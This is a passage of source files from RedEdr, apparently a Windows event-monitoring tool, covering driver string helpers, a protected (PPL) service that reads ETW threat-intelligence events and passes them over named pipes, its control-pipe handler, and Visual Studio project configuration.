(SIZE_T i = 0; i < copyLength; ++i) {\n        wchar_t wc = wideStr[i];\n        if (wc < 0x80) {\n            asciiStr[i] = (char)wc;  // Direct conversion for ASCII characters\n        }\n        else {\n            asciiStr[i] = '?';  // Replace non-ASCII characters with '?'\n        }\n    }\n\n    asciiStr[copyLength] = '\\0';  // Null-terminate the string\n    return STATUS_SUCCESS;\n}\n\n\nvoid JsonEscape(char* str, size_t buffer_size) {\n    if (str == NULL || buffer_size == 0) {\n        return;\n    }\n\n    size_t length = 0;\n    // Find string length safely\n    for (length = 0; length < buffer_size - 1 && str[length] != '\\0'; ++length);\n\n    for (size_t i = 0; i < length; ++i) {\n        if (str[i] == '\\\\' || str[i] == '\"') {\n            // Check if there's enough space to shift and insert escape character\n            if (length + 1 >= buffer_size) {\n                return;\n            }\n\n            // Shift the remainder of the string one position to the right\n            for (size_t j = length + 1; j > i; --j) {\n                str[j] = str[j - 1];\n            }\n\n            // Insert escape character\n            str[i] = '\\\\';\n            ++i; // Skip over the character we just escaped\n            ++length;\n        }\n    }\n    return;\n}"
  },
  {
    "path": "RedEdrDriver/utils.h",
    "content": "#pragma once\n#include <stdio.h>\n#include <Ntifs.h>\n\n\nvoid LOG_A(int severity, char* format, ...);\nint IsSubstringInUnicodeString(PUNICODE_STRING pDestString, PCWSTR pSubString);\nvoid Unicodestring2wcharAlloc(const UNICODE_STRING* ustr, wchar_t* dest, size_t destSize);\nvoid JsonEscape(char* str, size_t buffer_size);\nNTSTATUS WcharToAscii(const wchar_t* wideStr, SIZE_T wideLength, char* asciiStr, SIZE_T asciiBufferSize);\n"
  },
  {
    "path": "RedEdrPplService/README.md",
    "content": "# RedEdr PPL Service\n\n* Used to consume ETW-TI\n* Will send it via pipe to main RedEdr\n* Requires to be started as PPL service\n\nReferences: \n* https://blog.tofile.dev/2020/12/16/elam.html\n\n\n## Communication\n\nRedEdrPplService provides a pipe to interact with it: \n\n```\n#define PPL_SERVICE_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrPplService\"\n```\n\nWhich is the `pipeServer` in `control.cpp`. It only receives\nASCII commands. Like: \n* `start:<processname>`: Observes <processname>\n* `stop`: Indicate RedEdr.exe is being shutdown - disconnect `PPL_DATA_PIPE_NAME`\n* `shutdown`: Shutdown the service (so the exe can be updated)\n\nIf RedEdr connects to this pipe, RedEdrPplService will \nautomatically attempt to connect back to RedEdr's pipe: \n\n```\n#define PPL_DATA_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrPplData\"\n```\n\nIt will only send the matching events to this pipe. \n\n\n"
  },
  {
    "path": "RedEdrPplService/RedEdrPplService.cpp",
    "content": "#include <Windows.h>\n\n#include \"../Shared/common.h\"\n#include \"etwtireader.h\"\n#include \"control.h\"\n#include \"logging.h\"\n#include \"process_resolver.h\"\n\n\nSERVICE_STATUS        g_ServiceStatus = { 0 };\nSERVICE_STATUS_HANDLE g_StatusHandle = NULL;\nBOOL                  g_ServiceStopping = FALSE;\n\n\nvoid ShutdownService() {\n    LOG_W(LOG_INFO, L\"Shutdown initiated\");\n    \n    g_ServiceStopping = TRUE;\n\n    // Stopping\n    g_ServiceStatus.dwControlsAccepted = 0;\n    g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;\n    g_ServiceStatus.dwWin32ExitCode = 0;\n    g_ServiceStatus.dwWaitHint = 5000; // Give 5 seconds for cleanup\n    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);\n\n    // Perform necessary cleanup before stopping\n    StopControl();\n    ShutdownEtwtiReader();\n\tg_ProcessResolver.ResetData(); // Clear process cache\n\n    CleanupFileLogging(); // Clean up log file handle\n\n    // Stopped\n    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;\n    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);\n    \n    LOG_W(LOG_INFO, L\"Service shutdown complete\");\n}\n\n\nVOID WINAPI ServiceCtrlHandler(DWORD ctrlCode)\n{\n    switch (ctrlCode)\n    {\n    case SERVICE_CONTROL_STOP:\n        if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)\n            break;\n        LOG_W(LOG_INFO, L\"Service stop requested\");\n        ShutdownService();\n        break;\n\n    case SERVICE_CONTROL_INTERROGATE:\n        // Return current status\n        SetServiceStatus(g_StatusHandle, &g_ServiceStatus);\n        break;\n\n    default:\n        LOG_W(LOG_INFO, L\"Unhandled service control code: %d\", ctrlCode);\n        break;\n    }\n}\n\n\n// Real service main()\nVOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv)\n{\n    DWORD retval = 0;\n    LOG_W(LOG_INFO, L\"Service Start\");\n\n    // Register our service control handler with the SCM\n    g_StatusHandle = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);\n    if (g_StatusHandle == NULL)\n    {\n        retval = GetLastError();\n        LOG_W(LOG_ERROR, L\"ServiceMain: RegisterServiceCtrlHandler Error: %d\", retval);\n        return;\n    }\n\n    // Set the service status to START_PENDING\n    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;\n    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;\n    g_ServiceStatus.dwControlsAccepted = 0;\n    g_ServiceStatus.dwWin32ExitCode = 0;\n    g_ServiceStatus.dwServiceSpecificExitCode = 0;\n    g_ServiceStatus.dwCheckPoint = 0;\n    g_ServiceStatus.dwWaitHint = 3000;  // Wait hint of 3 seconds\n    \n    if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus)) {\n        LOG_W(LOG_ERROR, L\"ServiceMain: Failed to set service status\");\n        return;\n    }\n\n    // Initialize object cache\n\tg_ProcessResolver.PopulateAllProcesses();\n\n    // Start Control thread which will listen on a pipe for commands\n    StartControl();\n\n    // Set the service status to RUNNING after initialization is complete\n    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;\n    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;\n    g_ServiceStatus.dwCheckPoint = 0;\n    g_ServiceStatus.dwWaitHint = 0;\n    \n    if (!SetServiceStatus(g_StatusHandle, &g_ServiceStatus)) {\n        LOG_W(LOG_ERROR, L\"ServiceMain: Failed to set running status\");\n        ShutdownService();\n        return;\n    }\n\n    LOG_W(LOG_INFO, L\"Service is now running\");\n\n    // Service main loop\n    while (g_ServiceStatus.dwCurrentState == SERVICE_RUNNING && !g_ServiceStopping) {\n        // Start collecting - this may block\n        StartEtwtiReader();\n        \n        // If we get here, ETW reader has stopped, check if we should continue\n        if (!g_ServiceStopping) {\n            LOG_W(LOG_INFO, L\"ServiceMain: ETWTI reader stopped, waiting before restart...\");\n            Sleep(5000); // Wait before retry to avoid rapid restart loop\n        }\n    }\n\n    LOG_W(LOG_INFO, L\"ServiceMain: Exiting main loop\");\n    \n    // Always call ShutdownService to properly clean up and set service status\n    ShutdownService();\n}\n\n\n// Setup the service (from main)\nDWORD ServiceEntry()\n{\n    DWORD retval = 0;\n    SERVICE_TABLE_ENTRY serviceTable[] =\n    {\n        {const_cast<LPWSTR>(SERVICE_NAME), (LPSERVICE_MAIN_FUNCTION)ServiceMain},\n        {NULL, NULL}\n    };\n\n    if (StartServiceCtrlDispatcher(serviceTable) == FALSE)\n    {\n        retval = GetLastError();\n        LOG_W(LOG_ERROR, L\"ServiceEntry: StartServiceCtrlDispatcher error: %d\", retval);\n        return retval;\n    }\n\n    return retval;\n}\n\n\nint main(INT argc, CHAR** argv)\n{\n    LOG_A(LOG_INFO, \"Starting RedEdr PPL Service %s\", REDEDR_VERSION);\n    \n    DWORD result = ServiceEntry();\n    if (result != 0) {\n        LOG_A(LOG_ERROR, \"Service failed to start, error: %d\", result);\n    }\n    \n    LOG_A(LOG_INFO, \"RedEdr PPL Service terminated\");\n    return result;\n}\n"
  },
  {
    "path": "RedEdrPplService/RedEdrPplService.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>17.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{f9d83ee0-d3eb-4c01-8f3c-bb8167d3c752}</ProjectGuid>\n    <RootNamespace>RedEdrPplService</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0.26100.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>Static</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>Static</UseOfMfc>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <OutDir>C:\\RedEdr\\</OutDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <OutDir>C:\\RedEdr\\</OutDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;_DEBUG;_CONSOLE;OUTPUT_PPL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>Advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell -ep bypass -f \"$(SolutionDir)sign_file.ps1\" \"$(SolutionDir)rededr_ppl.pfx\" \"$(TargetDir)$(TargetFileName)\"</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;OUTPUT_PPL;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>Advapi32.lib;$(CoreLibraryDependencies);%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PostBuildEvent>\n      <Command>powershell -ep bypass -f \"$(SolutionDir)sign_file.ps1\" \"$(SolutionDir)rededr_ppl.pfx\" \"$(TargetDir)$(TargetFileName)\"</Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\RedEdrShared\\etw_krabs.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\" />\n    <ClCompile Include=\"etwtihandler.cpp\" />\n    <ClCompile Include=\"etwtireader.cpp\" />\n    <ClCompile Include=\"control.cpp\" />\n    <ClCompile Include=\"emitter.cpp\" />\n    <ClCompile Include=\"logging.cpp\" />\n    <ClCompile Include=\"RedEdrPplService.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"etwtihandler.h\" />\n    <ClInclude Include=\"etwtireader.h\" />\n    <ClInclude Include=\"control.h\" />\n    <ClInclude Include=\"emitter.h\" />\n    <ClInclude Include=\"logging.h\" />\n    <ClInclude Include=\"uthash.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets\" Condition=\"Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RedEdrPplService/RedEdrPplService.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Source Files\\existing\">\n      <UniqueIdentifier>{83eed843-5368-434d-9678-52c4f9aac887}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"RedEdrPplService.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"emitter.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"etwtireader.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"control.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"etwtihandler.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\etw_krabs.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"logging.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"emitter.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"etwtireader.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"control.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"uthash.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"etwtihandler.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"logging.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrPplService/control.cpp",
    "content": "#include <Windows.h>\n\n#include \"control.h\"\n#include \"emitter.h\"\n#include \"../Shared/common.h\"\n#include \"logging.h\"\n#include \"etwtireader.h\"\n#include \"etwtihandler.h\"\n#include \"piping.h\"\n#include \"json.hpp\"\n#include \"process_resolver.h\"\n\nDWORD start_child_process(wchar_t* childCMD);\n\n\nHANDLE control_thread = NULL;\nvolatile BOOL keep_running = TRUE; // Made volatile for thread safety\n\nPipeServer pipeServer = PipeServer(\"RedEdrPPL Server\", (wchar_t*)PPL_SERVICE_PIPE_NAME);\n\n\nDWORD WINAPI ServiceControlPipeThread(LPVOID param) {\n    char buffer[PPL_CONFIG_LEN];\n\n    while (keep_running) {\n        LOG_W(LOG_INFO, L\"Control: Waiting for client (RedEdr.exe) to connect...\");\n        if (!pipeServer.StartAndWaitForClient(false)) {\n            LOG_A(LOG_ERROR, \"Error waiting for RedEdr.exe\");\n            continue;\n        }\n        LOG_A(LOG_INFO, \"Control: Client connected\");\n        LOG_A(LOG_INFO, \"Control: Connect us back to RedEdr\");\n        if (!ConnectEmitterPipe()) { // Connect to the RedEdr pipe\n            LOG_A(LOG_ERROR, \"Control: Failed to connect to RedEdr pipe\");\n            //break; // Exit the loop if connection fails\n        }\n\n        while (keep_running) {\n            LOG_A(LOG_INFO, \"Control: Wait for command\");\n            memset(buffer, 0, sizeof(buffer));\n            if (!pipeServer.Receive(buffer, PPL_CONFIG_LEN)) {\n                LOG_A(LOG_ERROR, \"Error waiting for RedEdr.exe command\");\n                break;\n            }\n\n            LOG_A(LOG_INFO, \"Control: Received command: %s\", buffer);\n            \n            try {\n                // Try to parse as JSON first\n                nlohmann::json j = nlohmann::json::parse(buffer);\n                \n                if (j.contains(\"command\")) {\n                    std::string command = j[\"command\"];\n                    \n                    if (command == \"start\") {\n                        if (j.contains(\"targets\") && j[\"targets\"].is_array()) {\n                            LOG_A(LOG_INFO, \"Control: Processing start command with %zu targets\", j[\"targets\"].size());\n                            std::vector<std::string> targets = j[\"targets\"];\n                            g_ProcessResolver.SetTargetNames(targets);\n                            g_ProcessResolver.RefreshTargetMatching();\n\n                            BOOL doDefenderTrace = j.value(\"do_defendertrace\", false) ? TRUE : FALSE;\n                            SetDefenderTraceConfig(doDefenderTrace, targets);\n\n                            nlohmann::json start_event;\n                            start_event[\"event\"] = \"ppl_start\";\n                            start_event[\"type\"] = \"meta\";\n                            SendEmitterPipe((char *) start_event.dump().c_str());\n                        } else {\n                            LOG_A(LOG_ERROR, \"Control: Start command missing 'targets' array\");\n                        }\n                    }\n                    else if (command == \"stop\") {\n                        nlohmann::json stop_event;\n                        stop_event[\"event\"] = \"ppl_stop\";\n                        stop_event[\"type\"] = \"meta\";\n                        SendEmitterPipe((char*) stop_event.dump().c_str());\n                    } else if (command == \"shutdown\") {\n                        LOG_A(LOG_INFO, \"Control: Received JSON command: shutdown\");\n                        keep_running = FALSE; // Signal thread to stop\n                        g_ServiceStopping = TRUE; // Signal main service loop to stop\n                        ShutdownEtwtiReader(); // also makes main return\n                        break;\n                    }\n                    else {\n                        LOG_A(LOG_INFO, \"Control: Unknown JSON command: %s\", command.c_str());\n                    }\n                } else {\n                    LOG_A(LOG_ERROR, \"Control: JSON missing 'command' field\");\n                }\n            }\n            catch (const nlohmann::json::parse_error& e) {\n                // Fallback to legacy string-based parsing for backward compatibility\n                LOG_A(LOG_WARNING, \"Control: JSON parse failed %s\", e.what());\n            }\n        }\n\n\t\tLOG_A(LOG_INFO, \"Control: Client disconnected, shutting down pipe\");\n        pipeServer.Shutdown();\n    }\n    LOG_A(LOG_INFO, \"Control: Finished\");\n    return 0;\n}\n\n\nvoid StartControl() {\n    LOG_W(LOG_INFO, L\"Control: Start Thread\");\n    \n    // Reset the running flag\n    keep_running = TRUE;\n    \n    control_thread = CreateThread(NULL, 0, ServiceControlPipeThread, NULL, 0, NULL);\n    if (control_thread == NULL) {\n        DWORD error = GetLastError();\n        LOG_W(LOG_ERROR, L\"Control: Failed to create thread, error: %d\", error);\n    } else {\n        LOG_W(LOG_INFO, L\"Control: Thread created successfully\");\n    }\n}\n\n\nvoid StopControl() {\n    LOG_W(LOG_INFO, L\"Control: Stop Thread\");\n\n    // Signal the thread to stop\n    keep_running = FALSE;\n\n    // Send empty data to unblock any pending pipe operations\n    pipeServer.Send((char*)\"\");\n\n    // Wait for the thread to finish (with timeout)\n    if (control_thread != NULL) {\n        DWORD waitResult = WaitForSingleObject(control_thread, 5000); // 5 second timeout\n        if (waitResult == WAIT_TIMEOUT) {\n            LOG_W(LOG_ERROR, L\"Control: Thread did not stop gracefully, terminating\");\n            TerminateThread(control_thread, 1);\n        }\n        CloseHandle(control_thread);\n        control_thread = NULL;\n    }\n}\n\n\n//////\n\n\n// broken atm\nvoid rededr_remove_service() {\n    //wchar_t* cmd = L\"C:\\\\RedEdr\\\\RedEdr.exe --pplstop\";\n    WCHAR childCMD[PATH_LEN] = { 0 };\n    //wcscpy_s(childCMD, PATH_LEN, L\"C:\\\\windows\\\\system32\\\\cmd.exe /c \\\"echo AAA > c:\\\\rededr\\\\aa\\\"\");\n    //wcscpy_s(childCMD, PATH_LEN, L\"C:\\\\RedEdr\\\\RedEdrPplRemover.exe\");\n    wcscpy_s(childCMD, PATH_LEN, L\"C:\\\\RedEdr\\\\RedEdr.exe --pplstop\");\n    start_child_process(childCMD);\n}\n\n\nDWORD start_child_process(wchar_t* childCMD)\n{\n    DWORD retval = 0;\n    LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = NULL;\n    PROCESS_INFORMATION ProcessInformation = { 0 };\n    DWORD ProtectionLevel = PROTECTION_LEVEL_SAME;\n\n\n    if (childCMD == NULL) {\n        LOG_W(LOG_ERROR, L\"start_child_process: Invalid command parameter\");\n        return ERROR_INVALID_PARAMETER;\n    }\n    \n    LOG_W(LOG_INFO, L\"start_child_process: Starting\");\n\n    // Create Attribute List\n    STARTUPINFOEXW StartupInfoEx = { 0 };\n    SIZE_T AttributeListSize = 0;\n    StartupInfoEx.StartupInfo.cb = sizeof(StartupInfoEx);\n    \n    InitializeProcThreadAttributeList(NULL, 1, 0, &AttributeListSize);\n    if (AttributeListSize == 0) {\n        retval = GetLastError();\n        LOG_W(LOG_ERROR, L\"start_child_process: InitializeProcThreadAttributeList1 Error: %d\", retval);\n        return retval;\n    }\n    \n    lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AttributeListSize);\n    if (lpAttributeList == NULL) {\n        LOG_W(LOG_ERROR, L\"start_child_process: HeapAlloc failed\");\n        return ERROR_NOT_ENOUGH_MEMORY;\n    }\n    \n    StartupInfoEx.lpAttributeList = lpAttributeList;\n    \n    if (InitializeProcThreadAttributeList(lpAttributeList, 1, 0, &AttributeListSize) == FALSE) {\n        retval = GetLastError();\n        LOG_W(LOG_ERROR, L\"start_child_process: InitializeProcThreadAttributeList2 Error: %d\", retval);\n        goto cleanup;\n    }\n\n    // Set ProtectionLevel to be the same, i.e. PPL\n    if (UpdateProcThreadAttribute(lpAttributeList,\n        0,\n        PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,\n        &ProtectionLevel,\n        sizeof(ProtectionLevel),\n        NULL,\n        NULL) == FALSE)\n    {\n        retval = GetLastError();\n        LOG_W(LOG_ERROR, L\"start_child_process: UpdateProcThreadAttribute 